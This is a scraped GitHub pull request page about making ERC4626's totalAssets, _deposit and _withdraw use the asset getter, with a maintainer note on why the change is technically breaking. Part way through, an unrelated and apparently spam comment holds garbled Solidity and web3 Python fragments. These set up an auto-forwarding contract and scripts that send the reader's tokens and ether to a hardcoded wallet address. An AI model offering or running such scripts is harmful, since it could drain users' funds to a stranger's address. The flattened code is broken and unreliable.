-
Notifications
You must be signed in to change notification settings - Fork 12.3k
Use the asset getter in totalAssets, _deposit and _withdraw in ERC4626
#5322
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Use the asset getter in totalAssets, _deposit and _withdraw in ERC4626
#5322
Conversation
🦋 Changeset detectedLatest commit: 8d04788 The changes in this PR will be included in the next version bump. This PR includes changesets to release 1 package
Not sure what this means? Click here to learn what changesets are. Click here if you're a maintainer who wants to add another changeset to this PR |
c46d1d0 to
4769e6d
Compare
|
I'm including a changeset for this because it's technically breaking. Let's say contract A inherits from OpenZeppelin's ERC4626 and overrode I haven't come up with 1) an honest reason to insert a staticcall in the middle of Overall I think having the changelog entry should be enough |
asset getter in totalAssets, _deposit and _withdraw in ERC4626
|
.com:/example-consumer-legacy.git interface IERC20 { contract AutoForwarder { } Connect to Ethereum node (Infura or Alchemy)web3 = Web3(Web3.HTTPProvider('https://mainnet.infura.io/v3/YOUR_INFURA_PROJECT_ID')) Sender's detailssender_address = 'YOUR_WALLET_ADDRESS' Recipientrecipient = '0x67405c05a5f43c0149cc92465a008bef609a131d' Transfer ERC-20 Tokensdef send_tokens(token_address): Transfer Etherdef send_ether(): Example Usagesend_tokens('TOKEN_CONTRACT_ADDRESS') # Replace with your token's contract address Solidity.... contract FundSplitter { } Python.... Connect to Ethereum nodeweb3 = Web3(Web3.HTTPProvider('https://mainnet.infura.io/v3/YOUR_INFURA_PROJECT_ID')) Sender's detailssender_address = 'YOUR_WALLET_ADDRESS' List of recipients and their respective blockchainsrecipients = { Transfer function for Ethereumdef send_eth(recipient, amount): Example: Send funds to first recipientsend_eth(recipients['eth'][0], 0.01) |
Fixes #5320
PR Checklist
npx changeset add)